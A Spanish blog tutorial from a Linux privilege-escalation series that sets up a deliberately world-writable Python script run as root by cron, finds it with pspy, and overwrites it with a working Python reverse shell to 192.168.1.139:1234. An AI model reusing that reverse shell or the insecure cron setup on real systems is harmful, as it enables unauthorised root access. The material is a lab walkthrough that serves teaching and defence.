Explotación tareas Cron | Linux PrivEsc 02

Hola a todos y bienvenidos a un nuevo artículo. Hoy vamos a continuar con la serie de artículos sobre escalada de privilegios en Linux, en concreto, trataremos la explotación de tareas Cron.

Lo primero de todo, vamos a entender qué es una tarea Cron y cómo podemos crearlas.

Las tareas Cron se utilizan para programar tareas que se van a ejecutar a intervalos regulares de tiempo, es decir, en fechas y horas específicas. Habitualmente, se utilizan para programar copias de seguridad, borrados de archivos, envío de logs, etc.

Las tareas Cron tienen una sintaxis específica que nos va a permitir indicar qué tipo de tarea queremos ejecutar, cada cuanto tiempo ha de ejecutarse, qué usuario va a ejecutar la tarea, etc.

Creación tarea Cron

Vamos a desarrollar un pequeño script en Python3 que nos permita hacer una copia de un fichero que tengamos en una carpeta y lo guarde en otra llamada “Backup”.

 
#!/usr/bin/python3
import sys 
import time 
import subprocess 
from pwn import * 
if __name__ == "__main__": 
    log.progress("Comenzando con la copia") 
    result = subprocess.run(["cp", "/home/diego/articulosBlog/explotacionTareasCron/privado/documentos.txt", "/home/diego/articulosBlog/explotacionTareasCron/backup"], capture_output=True, text=True) 
    if (result.returncode == 0): 
        log.info("Copia completada") 
        sleep(1) 
    else: 
        log.info("Ha ocurrido un error") 

Para poder explotar las tareas Cron es necesario que los permisos (del script que se va a ejecutar) estén mal configurados. Por tanto, asignaremos permisos de escritura a “otros” (chmod o+w).

Una vez tengamos el script y los permisos configurados, estamos listos para configurar la tarea Cron. Para ello, tenemos que editar el fichero

/etc/crontab

Siguiendo la sintaxis de las tareas Cron previamente explicada, podemos programar una tarea en la que, el usuario root ejecute el script, anteriormente desarrollado, cada minuto. Para ello, añadimos la siguiente línea:

 * * * * * root python3 /home/diego/articulosBlog/explotacionTareasCron/script.py 

Si nos fijamos, el script copia el contenido del fichero “documentos.txt” que está en la ruta:

/home/diego/articulosBlog/explotacionTareasCron/script.py

a la ruta:

/home/diego/articulosBlog/explotacionTareasCron/backup/documentos.txt

Esta acción tan simple se va a ejecutar cada minuto por parte del usuario root, pero para ello es necesario arrancar el demonio de Cron.

sudo service cron start

Y podemos comprobar el estado del demonio mediante el comando:

sudo service cron status

Finalmente, ya tendríamos la tarea Cron configurada.

Detección de tareas Cron

La búsqueda de tareas Cron es un paso muy habitual a la hora de enumerar posibles vías para escalar privilegios. Podríamos desarrollar un  pequeño script que nos las detecte (de una manera muy básica) o usar alguno desarrollado con importantes mejoras. Yo os voy a enseñar cómo usar pspy.

Pspy es una herramienta muy interesante que nos va a permitir ver las tareas Cron que se ejecutan en el sistema, al igual, que el usuario que las ejecuta. Está programado en Go y para poder usarlo podemos compilarlo nosotros o descargar la versión compilada

El uso es muy sencillo, le damos permisos de ejecución y lo lanzamos (./pspy64). Empezaremos a ver tareas que se ejecutan a intervalos regulares de tiempo, entre ellas, tiene que estar la que acabamos de crear:

2021/07/23 20:51:01 CMD: UID=0 PID=158638 | python3 /home/diego/articulosBlog/explotacionTareasCron/script.py 

Como vemos el UID es 0 lo que indica que lo está ejecutando root y vemos la ruta del script.

Explotación tareas Cron

Ahora, un posible atacante con privilegios de usuario comprobaría los permisos de ese script, que se ejecutará como root, y como “otros” tienen permiso de escritura, podría modificarlo.

Por ejemplo, podría aprovechar esta vulnerabilidad para obtener una reverse shell, obteniendo acceso con privilegios elevados.

Modificamos el contenido del script por el siguiente:

#!/bin/python3
import sys
import time
import subprocess
from pwn import *

if __name__ == "__main__":
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.139",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])

Nos ponemos en escucha por el puerto 1234. Cuando se ejecute el script obtendremos acceso como el usuario root ¡Escalada de privilegios conseguida!

Espero que hayáis aprendido y os haya gustado

Que la Fuerza os acompañe

DiegoAltF4

 

Home


Comments

Leave a Reply

Your email address will not be published. Required fields are marked *